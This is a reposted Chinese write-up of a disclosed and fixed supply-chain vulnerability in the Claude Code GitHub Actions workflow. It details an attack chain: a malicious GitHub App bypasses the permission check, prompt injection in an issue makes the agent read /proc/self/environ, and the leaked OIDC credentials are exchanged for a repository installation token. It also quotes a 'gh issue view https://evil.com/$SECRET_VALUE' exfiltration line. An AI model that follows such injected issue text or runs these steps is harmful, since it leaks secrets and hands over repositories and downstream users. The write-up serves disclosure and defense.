文章总结: 本文披露了ClaudeCodeGitHubActions工作流中的高危供应链漏洞,攻击者可通过恶意GitHubApp绕过权限校验机制,利用OIDC令牌窃取与工作流串链实现从单个issue到仓库完全控制的攻击路径。关键发现包括无条件信任GitHubApp的设计缺陷、环境变量泄露风险及issue编辑攻击向量。Anthropic已通过禁用GitHubApp触发、关闭workflowsummary默认输出等措施修复,建议用户审计工作流配置并限制敏感权限。 综合评分: 89 文章分类: 漏洞分析,供应链安全,WEB安全,安全工具,解决方案
我用一个 GitHub Issue,差点污染了 Claude Code 的整条供应链
幻泉之洲
2026年6月2日 16:47 北京
在小说阅读器读本章
去阅读
这是一次针对 Anthropic 官方 GitHub Actions 的供应链攻击研究。核心发现:一个权限校验的疏漏——无条件信任 GitHub App——让攻击者能绕过写权限限制,在 tag 和 agent 模式下注入恶意指令。结合 OIDC 令牌窃取与 workflow 串链利用,攻击路径可从单个 issue 直通仓库完全控制,甚至污染所有下游用户。Anthropic 已修复并发放 bounty,但这件事暴露出 AI 工具在 CI/CD 管道中的攻击面远比想象的要大。
我叫 RyotaK,是 GMO Flatt Security 的安全研究员。上次写完那篇《用 8 种方式干掉 Claude Code》之后,我继续盯着 Anthropic 的产品挖,又翻出几个洞。
这次要聊的漏洞出在 Claude Code 的 GitHub Actions 工作流里。一句话概括:攻击者可以借助这个漏洞拿下任何使用该工作流的仓库——包括 Anthropic 自己的仓库。
提示:本文描述的配置问题在文章发布前已被野外利用(参考 Cline 的安全公告 GHSA-9ppg-jx86-fqw7 及 StepSecurity 的分析报告)。目前这些问题已修复,如果你正在使用 Claude Code GitHub Actions,建议立刻审计你的工作流配置,检查是否存在本文中提到的脆弱模式。使用 allowed_non_write_users 时,不要暴露除 Anthropic API key 和 secrets.GITHUB_TOKEN 之外的任何机密,也不要授予任何可能导致数据外泄的额外权限——哪怕 gh issue view 都能被用来偷数据。
权限模型是怎么被绕过的
Anthropic 提供了一个 GitHub Actions 工作流,让你能把 Claude Code 集成到 CI/CD 管道里。可以自动做 code review、给 issue 打标签、根据评论生成代码这些东西。
工作流有两种模式:tag 模式是用户在 issue 或 PR 评论里 @claude 时触发;agent 模式通过预设 prompt 触发,通常跑 slash command 或者预定任务。
这东西的权限给得很大方——读/写代码仓库、issue、PR、discussions,连 workflows 文件都能改。这些权限通过 Claude GitHub App 授权,开发者不用额外配置 token,开箱即用。
权限大,安全风险就大。如果工作流处理了不可信输入,攻击者就能通过间接 prompt 注入操控 Claude Code,滥用这些权限。
Anthropic 的防御措施是:默认禁止没有写权限的用户触发工作流。这个检查逻辑在 checkWritePermissions 函数里实现。
函数逻辑很简单:检查触发者有没有写权限或管理员权限。但它有一个无条件信任的豁免条款——只要触发者是 GitHub App(用户名以 [bot] 结尾),不管实际权限如何,直接放行。
从设计思路上看这不算离谱。GitHub App 通常是仓库管理员主动安装的,被认为是可信实体。问题在于,这个假设在实践中站不住脚。
GitHub App 有个隐性的能力:即使没有被安装到目标仓库,它也能在任何公开仓库上创建 issue 和 PR,就像普通用户一样。而且所有 GitHub App 都隐式拥有读取公开资源的权限。
绕过路径就出来了:
- 创建一个恶意 GitHub App(叫它 malicious-app)
- 把 App 安装到攻击者自己的仓库(无需任何特殊权限)
- 用 malicious-app 的安装令牌在目标公开仓库创建 issue 或 PR,触发 Claude Code 工作流
- 因为触发者是 GitHub App,checkWritePermissions 直接返回 true,工作流愉快地处理攻击者控制的输入
有意思的是,tag 模式还有第二道防线——它会调 GitHub API 确认触发者类型是 User 而不是 Bot。但 agent 模式在发现时没有这个检查,完全敞开着。
从绕过到拿下仓库
绕过权限检查之后,攻击者就能用恶意输入触发工作流,诱骗 Claude Code 做出不该做的事。
拿 anthropics/claude-code 仓库里的 Issue Triage 工作流举例:它让 Claude Code 用 mcp__github__get_issue 工具读取 issue 内容,而 mcp__github__update_issue 也在允许的工具列表里。这意味着如果攻击者通过 prompt 注入劫持了 Claude Code 的行为,就可以让 Claude 把窃取到的机密数据写回 issue 里。
实际的注入手法比截图看起来复杂得多。攻击者要精心构造一段伪装成错误消息的 issue 描述,让 Claude Code 以为读取失败了,然后尝试执行嵌入的恢复命令。这需要比较高阶的 prompt 工程才能稳定触发。
Claude Code 允许某些 Bash 命令(如 cat 和 head)在不需要用户明确审批的情况下执行。这点我上次那篇文章里也提到过。攻击者可以读取 /proc/self/environ——一个暴露当前进程所有环境变量的 Linux 伪文件,工作流传入的所有 secrets 都在里面。
拿到环境变量之后,用 mcp__github__update_issue 写回到 issue 描述中,攻击者就能在 GitHub 网页上直接读到这些机密。
在这些环境变量里,最要命的是 ACTIONS_ID_TOKEN_REQUEST_TOKEN 和 ACTIONS_ID_TOKEN_REQUEST_URL。
GitHub Actions 支持 OpenID Connect(OIDC),让工作流能向外部服务证明自己的身份。当工作流有 id-token: write 权限时,可以请求一个 OIDC 令牌——一个经过加密签名、声明“我是运行在仓库 Y 里的工作流 X”的令牌。外部服务验证通过后据此授权。
Claude Code GitHub Actions 就是用这个机制来获取 Claude GitHub App 的安装令牌的。ACTIONS_ID_TOKEN_REQUEST_TOKEN 和 ACTIONS_ID_TOKEN_REQUEST_URL 就是请求 OIDC 令牌所需的凭证。
拿到这两个凭证之后,攻击者可以在自己电脑上复现整个令牌交换流程:用凭证换 OIDC 令牌,再用 OIDC 令牌调 Anthropic 的后端接口换 Claude GitHub App 的安装令牌。这个安装令牌拥有对仓库代码、issue、PR 和工作流的写权限。
更糟糕的是,anthropics/claude-code-action 仓库自己也在用类似的 agent mode 工作流。这意味着攻击者能用同样的手法拿下这个 Action 的源代码仓库,注入恶意代码,然后……所有依赖它的仓库都会中招,包括 Anthropic 自己的。
完整攻击链:
- 攻击者创建恶意 GitHub App,安装到自己仓库
- 用 App 令牌在 anthropics/claude-code-action 仓库创建包含 prompt 注入 payload 的 issue
- Claude Code 处理 issue 时被诱骗读取 /proc/self/environ
- 环境变量(含 OIDC 令牌凭证)通过 issue 外泄
- 攻击者用凭证换 Claude GitHub App 安装令牌
- 推送恶意代码到 anthropics/claude-code-action 仓库
- 所有使用该 Action 的仓库全部沦陷
Anthropic 的修复方式是在 agent 模式里补上 checkHumanActor 检查,默认禁止 GitHub App 触发工作流。
一个官方示例里的错误配置
挖上面那个洞的时候,我注意到 Anthropic 自己的仓库里还有一个常见的错误配置,不需要绕 GitHub App 也能造成同等级别的破坏。
就是 allowed_non_write_users: "*" 这个选项。它允许任何用户触发工作流,不管有没有写权限。
Anthropic 的安全文档里确实标注了这个选项的危险性,说只应该在“权限极其受限”的场景下使用,比如只给了 issues: write 的打标签工作流。但即使按这个推荐用法来,也有几个问题:
第一,issues: write 权限其实没那么受限,攻击者仍然可以删除或编辑已有 issue。第二,Claude Code GitHub Actions 需要 Anthropic API key,这本身就是敏感凭证,暴露给不可信输入就不该用。第三,Claude Code 处理完任务后默认会把摘要写到工作流的 summary 区域,这个区域是公开可见的。
如果攻击者能骗 Claude Code 把 GITHUB_TOKEN 写进 summary,就能拿到 issues: write 权限的 token。
然后就是串链攻击。
issues: write 权限还能让攻击者编辑有写权限用户发布的 issue。攻击者等一个可信用户创建 issue 或 @claude 评论后,用自己拿到的 token 编辑这个 issue,注入恶意指令。Claude Code 处理这个 issue 时会将其视为可信内容,因为原始创建者是能通过 write 检查的。
两个工作流串起来:issue triage 工作流(允许任何人触发,给攻击者 issues: write 的 token)→ tag 模式工作流(由可信用户触发,攻击者通过编辑 issue 注入 payload 窃取 OIDC 凭证)→ 换取 Claude GitHub App 安装令牌 → 仓库完全控制。
下面这个是官方示例工作流里的配置。多少人是照着这个抄的……
Anthropic 收到报告后把 workflow run summary 默认关掉了,堵住了这条外泄通道。但即使这样,secrets 还是可能通过其他方式泄漏。
举个例子:gh issue view 这个命令本来就只是用来查看 issue 内容的,但它把 URL 当作位置参数接受。攻击者可以在注入 payload 里让 Claude 执行 gh issue view https://evil.com/$SECRET_VALUE,机密数据就顺着 URL 发出去了。Anthropic 为此专门给 gh 命令写了个包装脚本,校验参数并拦截可疑的调用。
这事的教训
Anthropic 的响应速度很快。他们禁止了 GitHub App 默认触发工作流,关掉了 summary 区域,修了好几条数据外泄的路径,还决定把 Claude Code 启动的子进程中的环境变量全部清掉。
此外,他们对 issue 编辑攻击向量也做了缓解:工作流触发后,忽略后续对 issue 和评论的编辑。这直接掐断了上面说的串链攻击。
在 CVSS v4.0 标准下,这些漏洞的评分是 7.8。Anthropic 的漏洞赏金计划为此支付了 3800 美元,外加 1000 美元的绕过奖励。
但说实话,供应链安全对于安全研究员来说仍是个性价比较低的方向。这些漏洞的影响面可以非常大,但对应的激励远远不够。如果没有更强的动力让研究者扎进这个领域,类似的事故还会继续发生。
AI 驱动的工具和服务越来越多,我们得记住一件事:prompt injection 从来就没有被真正解决过,它依然能用来操控 AI 系统的行为。到目前为止,我已经向 Anthropic 报告了大约 50 个允许攻击者绕过权限系统执行任意命令的漏洞。
如果你在用 Claude Code GitHub Actions,我建议你做三件事:检查工作流中是否有 allowed_non_write_users 配置;如果有,收紧权限和 secrets;翻一下工作流的运行日志,看有没有被搞过的痕迹。
参考资料
[1] https://flatt.tech/research/posts/poisoning-claude-code-one-github-issue-to-break-the-supply-chain/
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:幻泉之洲 《我用一个 GitHub Issue,差点污染了 Claude Code 的整条供应链》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论